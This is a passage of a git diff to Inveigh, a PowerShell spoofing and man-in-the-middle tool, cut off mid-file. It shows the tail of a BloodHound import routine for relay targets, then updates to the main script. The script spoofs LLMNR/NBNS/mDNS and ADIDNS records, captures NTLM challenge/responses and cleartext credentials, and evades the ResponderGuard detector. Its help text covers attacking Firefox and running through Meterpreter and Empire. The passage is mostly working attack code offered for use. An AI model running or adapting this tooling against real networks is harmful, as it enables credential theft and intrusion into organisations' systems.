Invoke-ParseJSONArray($JSONArray) + { + $result = @() + $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() + $i = 0 + + $JSONArray | ForEach-Object -Process { + + if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) + { + $percent_complete_calculation = [Math]::Truncate($i / $JSONArray.count * 100) + + if($percent_complete_calculation -le 100) + { + Write-Progress -Activity "Parsing JSON" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue + } + + $stopwatch_progress.Reset() + $stopwatch_progress.Start() + } + + $i++ + $result += , (Invoke-ParseItem $_)} + + return $result + } + + function Invoke-ParseJSONString($json) + { + $config = $javaScriptSerializer.DeserializeObject($json) + + return Invoke-ParseJsonObject $config + } + + [void][System.Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions") + + if($inveigh.enumerate.Count -eq 0) + { + $enumerate_empty = $true + } + + if($Computers) + { + $Computers = (Resolve-Path $Computers).Path + $computers_serializer = New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer + $computers_serializer.MaxJsonLength = 104857600 + $bloodhound_computers = [System.IO.File]::ReadAllText($Computers) + $bloodhound_computers = $computers_serializer.DeserializeObject($bloodhound_computers) + Write-Output "[*] Parsing BloodHound Computers JSON" + $stopwatch_parse = [System.Diagnostics.Stopwatch]::StartNew() + $bloodhound_computers = Invoke-ParseItem $bloodhound_computers + Write-Output "[+] Parsing completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" + $stopwatch_parse.Reset() + $stopwatch_parse.Start() + Write-Output "[*] Importing computers to Inveigh" + $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() + $i = 0 + + if(!$bloodhound_computers.Computers) + { + Write-Output "[!] JSON computers parse failed" + throw + } + + $bloodhound_computers.Computers | ForEach-Object { + + if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) + { + $percent_complete_calculation = [Math]::Truncate($i / $bloodhound_computers.Computers.Count * 100) + + if($percent_complete_calculation -le 100) + { + Write-Progress -Activity "[*] Importing computers" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue + } + + $stopwatch_progress.Reset() + $stopwatch_progress.Start() + } + + $hostname = $_.Name + [Array]$local_admin_users = $_.LocalAdmins | Where-Object {$_.Type -eq 'User'} | Select-Object -expand Name + [Array]$local_admin_groups = $_.LocalAdmins | Where-Object {$_.Type -eq 'Group'} | Select-Object -expand Name + + if($DNS) + { + $IP = Get-DNSEntry $hostname + + if(!$IP) + { + Write-Output "[-] DNS lookup for $Hostname failed" + } + + } + + if(!$enumerate_empty) + { + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if(($hostname -and $inveigh.enumerate[$i].Hostname -eq $hostname) -or ($IP -and $inveigh.enumerate[$i].IP -eq $IP)) + { + + if($inveigh.enumerate[$i].Hostname -ne $hostname -and $inveigh.enumerate[$i].IP -eq $IP) + { + + for($j = 0;$j -lt $inveigh.enumerate.Count;$j++) + { + + if($inveigh.enumerate[$j].IP -eq $target) + { + $target_index = $j + break + } + + } + + $inveigh.enumerate[$target_index].Hostname = $hostname + } + else + { + + for($j = 0;$j -lt $inveigh.enumerate.Count;$j++) + { + + if($inveigh.enumerate[$j].Hostname -eq $hostname) + { + $target_index = $j + break + } + + } + + } + + $inveigh.enumerate[$target_index]."Administrator Users" = $local_admin_users + $inveigh.enumerate[$target_index]."Administrator Groups" = $local_admin_groups + } + else + { + $inveigh.enumerate.Add((New-RelayEnumObject -Hostname $_.Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups)) > $null + } + + } + + } + else + { + $inveigh.enumerate.Add((New-RelayEnumObject -Hostname $_.Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups)) > $null + } + + $IP = $null + $hostname = $null + $local_admin_users = $null + $local_admin_groups = $null + $target_index = $null + $i++ + } + + Write-Output "[+] Import completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" + $stopwatch_parse.Reset() + Remove-Variable bloodhound_computers + } + + if($Sessions) + { + $Sessions = (Resolve-Path $Sessions).Path + $sessions_serializer = New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer + $sessions_serializer.MaxJsonLength = 104857600 + $bloodhound_sessions = [System.IO.File]::ReadAllText($Sessions) + $bloodhound_sessions = $sessions_serializer.DeserializeObject($bloodhound_sessions) + $stopwatch_parse = [System.Diagnostics.Stopwatch]::StartNew() + Write-Output "[*] Parsing BloodHound Sessions JSON" + $bloodhound_sessions = Invoke-ParseItem $bloodhound_sessions + Write-Output "[+] Parsing completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" + $stopwatch_parse.Reset() + $stopwatch_parse.Start() + Write-Output "[*] Importing sessions to Inveigh" + $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() + $i = 0 + + if(!$bloodhound_sessions.Sessions) + { + Write-Output "[!] JSON sessions parse failed" + throw + } + + $bloodhound_sessions.Sessions | ForEach-Object { + + if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) + { + $percent_complete_calculation = [Math]::Truncate($i / $bloodhound_sessions.Sessions.Count * 100) + + if($percent_complete_calculation -le 100) + { + Write-Progress -Activity "[*] Importing sessions" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue + } + + $stopwatch_progress.Reset() + $stopwatch_progress.Start() + } + + $hostname = $_.ComputerName + + if($hostname -as [IPAddress] -as [Bool]) + { + $IP = $hostname + $hostname = $null + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target) + { + $target_index = $i + break + } + + } + + } + else + { + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].Hostname -eq $hostname) + { + $target_index = $i + break + } + + } + + if($DNS) + { + $IP = Get-DNSEntry $hostname + + if(!$IP) + { + Write-Output "[-] DNS lookup for $Hostname failed or IPv6 address" + } + + } + + } + + if(!$enumerate_empty -or $target_index -ge 0) + { + [Array]$session_list = $inveigh.enumerate[$target_index].Sessions + + if($session_list -notcontains $_.UserName) + { + $session_list += $_.UserName + $inveigh.enumerate[$target_index].Sessions = $session_list + } + + } + else + { + $inveigh.enumerate.Add($(New-RelayEnumObject -Hostname $hostname -IP $IP -Sessions $_.UserName)) > $null + } + + $hostname = $null + $IP = $null + $session_list = $null + $target_index = $null + $i++ + } + + Write-Output "[+] Import completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" + $stopwatch_parse.Reset() + Remove-Variable bloodhound_sessions + } + + if($Groups) + { + $Groups = (Resolve-Path $Groups).Path + $groups_serializer = New-Object -TypeName System.Web.Script.Serialization.JavaScriptSerializer + $groups_serializer.MaxJsonLength = 104857600 + $bloodhound_groups = [System.IO.File]::ReadAllText($Groups) + $bloodhound_groups = $groups_serializer.DeserializeObject($bloodhound_groups) + $stopwatch_parse = [System.Diagnostics.Stopwatch]::StartNew() + Write-Output "[*] Parsing BloodHound Groups JSON" + $bloodhound_groups = Invoke-ParseItem $bloodhound_groups + Write-Output "[+] Parsing completed in $([Math]::Truncate($stopwatch_parse.Elapsed.TotalSeconds)) seconds" + $stopwatch_parse.Reset() + $stopwatch_parse.Start() + Write-Output "[*] Importing groups to Inveigh" + $stopwatch_progress = [System.Diagnostics.Stopwatch]::StartNew() + $i = 0 + + if(!$bloodhound_groups.Groups) + { + Write-Output "[!] JSON groups parse failed" + throw + } + + $bloodhound_groups.Groups | ForEach-Object { + + if($stopwatch_progress.Elapsed.TotalMilliseconds -ge 500) + { + $percent_complete_calculation = [Math]::Truncate($i / $bloodhound_groups.Groups.Count * 100) + + if($percent_complete_calculation -le 100) + { + Write-Progress -Activity "[*] Importing groups" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation -ErrorAction SilentlyContinue + } + + $stopwatch_progress.Reset() + $stopwatch_progress.Start() + } + + [Array]$group_members = $_.Members | Select-Object -expand MemberName + $inveigh.group_table.Add($_.Name,$group_members) + $group_members = $null + $i++ + } + + Write-Output "[+] Import completed in $([Math]::Truncate($stopwatch.Elapsed.TotalSeconds)) seconds" + } + +} + +#endregion \ No newline at end of file diff --git a/Scripts/Inveigh.ps1 b/Inveigh.ps1 similarity index 52% rename from Scripts/Inveigh.ps1 rename to Inveigh.ps1 index 1a6f8b7..cbeaf43 100644 --- a/Scripts/Inveigh.ps1 +++ b/Inveigh.ps1 @@ -2,20 +2,47 @@ function Invoke-Inveigh { <# .SYNOPSIS -Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool with challenge/response -capture over HTTP/HTTPS/Proxy/SMB. +This function is a Windows PowerShell ADIDNS/LLMNR/NBNS/mDNS spoofer. .DESCRIPTION -Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spooferman-in-the-middle tool with the following features: +This function is a Windows PowerShell ADIDNS/LLMNR/NBNS/mDNS spoofer/man-in-the-middle tool with +challenge/response capture over HTTP/HTTPS/Proxy/SMB. - IPv4 LLMNR/mDNS/NBNS spoofer with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/Proxy/SMB - Basic auth cleartext credential capture over HTTP/HTTPS/Proxy - WPAD server capable of hosting a basic or custom wpad.dat file - HTTP/HTTPS/Proxy server capable of hosting limited content - Granular control of console and file output - Run time and run count control - LLMNR/NBNS spoofer learning mode +.PARAMETER ADIDNS +Default = Disabled: (Combo/Wildcard) Enable an ADIDNS spoofing attack. Combo looks at LLMNR/NBNS requests and adds +a record to DNS if the same request is received from multiple systems. Wildcard injects a wildcard record. + +.PARAMETER ADIDNSCleanup +Default = Enabled: Enable/Disable removing added ADIDNS records upon shutdown. + +.PARAMETER ADIDNSCredential +PSCredential object that will be used with ADIDNS spoofing. + +.PARAMETER ADIDNSDomain +The targeted domain in DNS format. + +.PARAMETER ADIDNSDomainController +Domain controller to target. This parameter is mandatory on a non-domain attached system. + +.PARAMETER ADIDNSForest +The targeted forest in DNS format. + +.PARAMETER ADIDNSHostsIgnore +Comma seperated list of hosts that will be ignored with ADIDNS spoofing. + +.PARAMETER ADIPartition +Default = DomainDNSZones: (DomainDNSZones,ForestDNSZone,System) The AD partition name where the zone is stored. + +.PARAMETER ADIDNSThreshold +Default = 4: The threshold used to determine when ADIDNS records are injected for the combo attack. Inveigh will +track identical LLMNR and NBNS requests received from multiple systems. DNS records will be injected once the +system count for identical LLMNR and NBNS requests exceeds the threshold. + +.PARAMETER ADIDNSTTL +Default = 600 Seconds: DNS TTL in seconds for added A records. + +.PARAMETER ADIDNSZone +The ADIDNS zone. .PARAMETER Challenge Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random @@ -40,6 +67,11 @@ and username combinations when real time console output is enabled. Default = Auto: (Auto/Y/N) Set the privilege mode. Auto will determine if Inveigh is running with elevated privilege. If so, options that require elevated privilege can be used. +.PARAMETER EvadeRG +Defauly = Enabled: (Y/N) Enable/Disable detecting and ignoring LLMNR/NBNS requests sent directly to an IP address +rather than a broadcast/multicast address. This technique is used by ResponderGuard to discover spoofers across +subnets. + .PARAMETER FileOutput Default = Disabled: (Y/N) Enable/Disable real time file output. @@ -81,14 +113,6 @@ wpad.dat requests. .PARAMETER HTTPDefaultEXE EXE filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response for EXE requests. -.PARAMETER HTTPResetDelay -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the -chance of capturing authentication through a popup box with some browsers (Firefox). - -.PARAMETER HTTPResetDelayTimeout -Default = 30 Seconds: HTTPResetDelay timeout in seconds. - .PARAMETER HTTPResponse Content to serve as the default HTTP/HTTPS/Proxy response. This response will not be used for wpad.dat requests. This parameter will not be used if HTTPDir is set. Use PowerShell character escapes and newlines where necessary. @@ -117,7 +141,7 @@ not want NTLMv1/NTLMv2 captures over SMB. Without elevated privilege, the desire enabled. .PARAMETER IP -Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing +Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/NBNS/mDNS/DNS spoofing if the SpooferIP parameter is not set. .PARAMETER LogOutput @@ -156,7 +180,7 @@ Default = Disabled: (Integer) Number of seconds the NBNS brute force spoofer wil HTTP request is received. .PARAMETER NBNSBruteForceTarget -IP address to target for NBNS brute force spoofing. +IP address to target for NBNS brute force spoofing. .PARAMETER NBNSTTL Default = 165 Seconds: NBNS TTL in seconds for the response packet. @@ -167,7 +191,7 @@ Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Serv .PARAMETER OutputStreamOnly Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh through a shell that does not return other output streams.Note that you will not see the various +running Inveigh through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. .PARAMETER Proxy @@ -190,6 +214,12 @@ cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox -SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by closing and reopening. +.PARAMETER RunCount +Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting. + +.PARAMETER RunTime +(Integer) Run time duration in minutes. + .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. @@ -205,7 +235,7 @@ Default = All: Comma separated list of requested hostnames to ignore when spoofi Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR/mDNS/NBNS. .PARAMETER SpooferIP -IP address for LLMNR/mDNS/NBNS spoofing. This parameter is only necessary when redirecting victims to a system +IP address for ADIDNS/LLMNR/mDNS/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. .PARAMETER SpooferIPsIgnore @@ -227,22 +257,27 @@ SpooferLearning. Default = 30 Minutes: (Integer) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a hostname that has already been checked if SpooferLearning is enabled. +.PARAMETER SpooferNonprintable +Default = Enabled: (Y/N) Enable/Disable answering LLMNR/NBNS requests for non-printable host names. + .PARAMETER SpooferRepeat Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. +.PARAMETER SpooferThresholdHost +(Integer) Number of matching LLMNR/NBNS name requests to receive before Inveigh will begin responding to those +requests. + +.PARAMETER SpooferThresholdNetwork +(Integer) Number of matching LLMNR/NBNS requests to receive from different systems before Inveigh will begin +responding to those requests. + .PARAMETER StartupChecks Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. .PARAMETER StatusOutput Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. -.PARAMETER RunCount -Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting. - -.PARAMETER RunTime -(Integer) Run time duration in minutes. - .PARAMETER Tool Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. @@ -312,11 +347,13 @@ Execute specifying an HTTP redirect response. https://github.com/Kevin-Robertson/Inveigh #> +#region begin parameters + # Parameter default values can be modified in this section: [CmdletBinding()] param ( - [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", + [parameter(Mandatory=$false)][Array]$ADIDNSHostsIgnore = ("isatap","wpad"), [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "", [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "", @@ -326,9 +363,10 @@ param [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "Firefox", [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$ADIDNSThreshold = "4", + [parameter(Mandatory=$false)][Int]$ADIDNSTTL = "600", [parameter(Mandatory=$false)][Int]$HTTPPort = "80", [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", - [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30", [parameter(Mandatory=$false)][Int]$mDNSTTL = "120", [parameter(Mandatory=$false)][Int]$NBNSTTL = "165", @@ -339,6 +377,12 @@ param [parameter(Mandatory=$false)][Int]$WPADPort = "", [parameter(Mandatory=$false)][Int]$SpooferLearningDelay = "", [parameter(Mandatory=$false)][Int]$SpooferLearningInterval = "30", + [parameter(Mandatory=$false)][Int]$SpooferThresholdHost = "0", + [parameter(Mandatory=$false)][Int]$SpooferThresholdNetwork = "0", + [parameter(Mandatory=$false)][String]$ADIDNSDomain = "", + [parameter(Mandatory=$false)][String]$ADIDNSDomainController = "", + [parameter(Mandatory=$false)][String]$ADIDNSForest = "", + [parameter(Mandatory=$false)][String]$ADIDNSZone = "", [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "IIS", [parameter(Mandatory=$false)][String]$HTTPContentType = "text/html", [parameter(Mandatory=$false)][String]$HTTPDefaultFile = "", @@ -350,6 +394,10 @@ param [parameter(Mandatory=$false)][String]$WPADResponse = "", [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Combo","Wildcard")][String]$ADIDNS, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$ADIDNSPartition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ADIDNSCleanup = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$EvadeRG = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", @@ -359,13 +407,14 @@ param [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$mDNS = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferLearning = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferNonprintable = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADDirectFile = "Y", @@ -387,25 +436,78 @@ param [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = "", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$ADIDNSCredential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) -if ($invalid_parameter) +#endregion +#region begin initialization +if($invalid_parameter) { - Write-Output "Error:$($invalid_parameter) is not a valid parameter" + Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } -$inveigh_version = "1.3.1" +$inveigh_version = "1.4" if(!$IP) { - $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + + try + { + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + } + catch + { + Write-Output "[-] Error finding local IP, specify manually with -IP" + throw + } + } if(!$SpooferIP) { - $SpooferIP = $IP + $SpooferIP = $IP +} + +if($ADIDNS) +{ + + if(!$ADIDNSDomainController -or !$ADIDNSDomain -or $ADIDNSForest -or !$ADIDNSZone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + if(!$ADIDNSDomainController) + { + $ADIDNSDomainController = $current_domain.PdcRoleOwner.Name + } + + if(!$ADIDNSDomain) + { + $ADIDNSDomain = $current_domain.Name + } + + if(!$ADIDNSForest) + { + $ADIDNSForest = $current_domain.Forest + } + + if(!$ADIDNSZone) + { + $ADIDNSZone = $current_domain.Name + } + + } + } if($HTTPDefaultFile -or $HTTPDefaultEXE) @@ -413,7 +515,7 @@ if($HTTPDefaultFile -or $HTTPDefaultEXE) if(!$HTTPDir) { - Write-Output "Error:You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" + Write-Output "[-] You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" throw } @@ -424,13 +526,13 @@ if($WPADIP -or $WPADPort) if(!$WPADIP) { - Write-Output "Error:You must specify a -WPADPort to go with -WPADIP" + Write-Output "[-] You must specify a -WPADPort to go with -WPADIP" throw } if(!$WPADPort) { - Write-Output "Error:You must specify a -WPADIP to go with -WPADPort" + Write-Output "[-] You must specify a -WPADIP to go with -WPADPort" throw } @@ -438,7 +540,7 @@ if($WPADIP -or $WPADPort) if($NBNSBruteForce -eq 'Y' -and !$NBNSBruteForceTarget) { - Write-Output "Error:You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" + Write-Output "[-] You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" throw } @@ -455,6 +557,7 @@ if(!$inveigh) { $global:inveigh = [HashTable]::Synchronized(@{}) $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.enumerate = New-Object System.Collections.ArrayList $inveigh.IP_capture_list = New-Object System.Collections.ArrayList $inveigh.log = New-Object System.Collections.ArrayList $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList @@ -462,21 +565,30 @@ if(!$inveigh) $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList $inveigh.POST_request_list = New-Object System.Collections.ArrayList - $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList $inveigh.valid_host_list = New-Object System.Collections.ArrayList + $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_privilege_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_history_table = [HashTable]::Synchronized(@{}) + $inveigh.request_table = [HashTable]::Synchronized(@{}) + $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) + $inveigh.session_table = [HashTable]::Synchronized(@{}) + $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) + $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) + $inveigh.SMB_session_table = [HashTable]::Synchronized(@{}) + $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{}) + $inveigh.group_table = [HashTable]::Synchronized(@{}) + $inveigh.session_count = 0 + $inveigh.session = @() } if($inveigh.running) { - Write-Output "Error:Invoke-Inveigh is already running, use Stop-Inveigh" + Write-Output "[-] Inveigh is already running" throw } -if($HTTP_listener.IsListening -and !$inveigh.relay_running) -{ - $HTTP_listener.Stop() - $HTTP_listener.Close() -} +$inveigh.stop = $false if(!$inveigh.relay_running) { @@ -486,8 +598,8 @@ if(!$inveigh.relay_running) $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.output_queue = New-Object System.Collections.ArrayList $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList - $inveigh.status_queue = New-Object System.Collections.ArrayList $inveigh.console_input = $true $inveigh.console_output = $false $inveigh.file_output = $false @@ -510,6 +622,7 @@ else if($ElevatedPrivilege -eq 'Y') { + $elevated_privilege_check = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") $elevated_privilege = $true } else @@ -556,18 +669,30 @@ if(!$elevated_privilege) if($HTTPS -eq 'Y') { - Write-Output "Error:-HTTPS requires elevated privileges" + Write-Output "[-] HTTPS requires elevated privileges" throw } if($SpooferLearning -eq 'Y') { - Write-Output "Error:-SpooferLearning requires elevated privileges" + Write-Output "[-] SpooferLearning requires elevated privileges" throw } - $NBNS = "Y" + if(!$NBNS) + { + $NBNS = "Y" + } + $SMB = "N" +} +else +{ + + if(!$NBNS) + { + $NBNS = "N" + } } @@ -617,7 +742,7 @@ if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's P { $inveigh.tool = 1 $inveigh.output_stream_only = $true - $inveigh.newline = "" + $inveigh.newline = $null $ConsoleOutput = "N" } @@ -626,7 +751,7 @@ elseif($Tool -eq 2) # PowerShell Empire $inveigh.tool = 2 $inveigh.output_stream_only = $true $inveigh.console_input = $false - $inveigh.newline = "`n" # remove for Empire 2.0 + $inveigh.newline = $null $LogOutput = "N" $ShowHelp = "N" @@ -654,54 +779,113 @@ elseif($Tool -eq 2) # PowerShell Empire else { $inveigh.tool = 0 - $inveigh.newline = "" + $inveigh.newline = $null } -# Write startup messages -$inveigh.status_queue.Add("Inveigh $inveigh_version started at $(Get-Date -format 's')") > $null +$inveigh.netBIOS_domain = (Get-ChildItem -path env:userdomain).Value +$inveigh.computer_name = (Get-ChildItem -path env:computername).Value -if($FileOutput -eq 'Y') +try { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh $inveigh_version started") > $null -} + $inveigh.DNS_domain = ((Get-ChildItem -path env:userdnsdomain -ErrorAction 'SilentlyContinue').Value).ToLower() + $inveigh.DNS_computer_name = ($inveigh.computer_name + "." + $inveigh.DNS_domain).ToLower() -if($LogOutput -eq 'Y') + if(!$inveigh.domain_mapping_table.($inveigh.netBIOS_domain)) + { + $inveigh.domain_mapping_table.Add($inveigh.netBIOS_domain,$inveigh.DNS_domain) + } + +} +catch { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh started") > $null - $inveigh.log_output = $true + $inveigh.DNS_domain = $inveigh.netBIOS_domain + $inveigh.DNS_computer_name = $inveigh.computer_name } -else + +if($inveigh.relay_running) { - $inveigh.log_output = $false + # $inveigh.output_pause = $true } +#endregion +#region begin startup messages +$inveigh.output_queue.Add("[*] Inveigh $inveigh_version started at $(Get-Date -format s)") > $null + if($ElevatedPrivilege -eq 'Y' -or $elevated_privilege) { - $inveigh.status_queue.Add("Elevated Privilege Mode = Enabled") > $null + + if(($ElevatedPrivilege -eq 'Auto' -and $elevated_privilege) -or ($ElevatedPrivilege -eq 'Y' -and $elevated_privilege_check)) + { + $inveigh.output_queue.Add("[+] Elevated Privilege Mode = Enabled") > $null + } + else + { + $inveigh.output_queue.Add("[-] Elevated Privilege Mode Enabled But Check Failed") > $null + } + } else { - $inveigh.status_queue.Add("Elevated Privilege Mode = Disabled") > $null + $inveigh.output_queue.Add("[!] Elevated Privilege Mode = Disabled") > $null + $SMB = "N" } if($firewall_status) { - $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null - $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 - $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" + $inveigh.output_queue.Add("[!] Windows Firewall = Enabled") > $null +} + +$inveigh.output_queue.Add("[+] Primary IP Address = $IP") > $null + +if($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y') +{ + $inveigh.output_queue.Add("[+] Spoofer IP Address = $SpooferIP") > $null +} + +if($LLMNR -eq 'Y' -or $NBNS -eq 'Y') +{ - if($firewall_powershell) + if($SpooferThresholdHost -gt 0) { - $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null + $inveigh.output_queue.Add("[+] Spoofer Threshold Host = $SpooferThresholdHost") > $null } + if($SpooferThresholdNetwork -gt 0) + { + $inveigh.output_queue.Add("[+] Spoofer Threshold Network = $SpooferThresholdNetwork") > $null + } + } -$inveigh.status_queue.Add("Primary IP Address = $IP") > $null +if($ADIDNS) +{ + $inveigh.ADIDNS = $ADIDNS + $inveigh.output_queue.Add("[+] ADIDNS Spoofer = $ADIDNS") > $null + $inveigh.output_queue.Add("[+] ADIDNS Hosts Ignore = " + ($ADIDNSHostsIgnore -join ",")) > $null + $inveigh.output_queue.Add("[+] ADIDNS Domain Controller = $ADIDNSDomainController") > $null + $inveigh.output_queue.Add("[+] ADIDNS Domain = $ADIDNSDomain") > $null + $inveigh.output_queue.Add("[+] ADIDNS Forest = $ADIDNSForest") > $null + $inveigh.output_queue.Add("[+] ADIDNS TTL = $ADIDNSTTL") > $null + $inveigh.output_queue.Add("[+] ADIDNS Zone = $ADIDNSZone") > $null + + if($ADIDNSCleanup -eq 'Y') + { + $inveigh.output_queue.Add("[+] 